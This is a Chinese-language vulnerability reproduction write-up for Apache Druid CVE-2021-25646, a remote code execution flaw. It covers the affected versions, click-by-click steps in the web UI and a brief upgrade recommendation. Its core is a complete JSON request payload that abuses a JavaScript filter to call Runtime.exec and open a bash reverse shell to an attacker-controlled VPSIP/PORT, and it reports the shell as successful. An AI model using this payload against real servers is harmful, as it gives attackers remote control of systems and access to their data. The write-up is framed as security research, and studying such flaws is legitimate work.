druid 远程命令执行 (CVE-2021-25646)
所有文章,仅供安全研究与学习之用,后果自负!
druid 远程命令执行 (CVE-2021-25646)
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
0x01 漏洞描述
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。
8081端口
8888端口 是漏洞页面
0x02 影响范围
Apache Druid <= 0.20.1
0x03 漏洞复现
(1)漏洞首页
(2) 先点击load data 再点击https
(3) 选择local
(4) 修改参数
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz
(5)依次点击
(6)再点击net parse data
每点击一次 上边导航栏 右移一位
(7) 移到filter前的 Transform开启抓包再点击右下角的 next Filter
(8) 修改post请求体为如下poc 修改 vpsip/port
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/VPSIP/PORT 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
(8)放包
(9) 反弹shell成功
0x04 漏洞修复
建议及时更新Apache Druid,
下载链接为:https://druid.apache.org/downloads.html
https://github.com/apache/druid/releases/tag/druid-0.20.1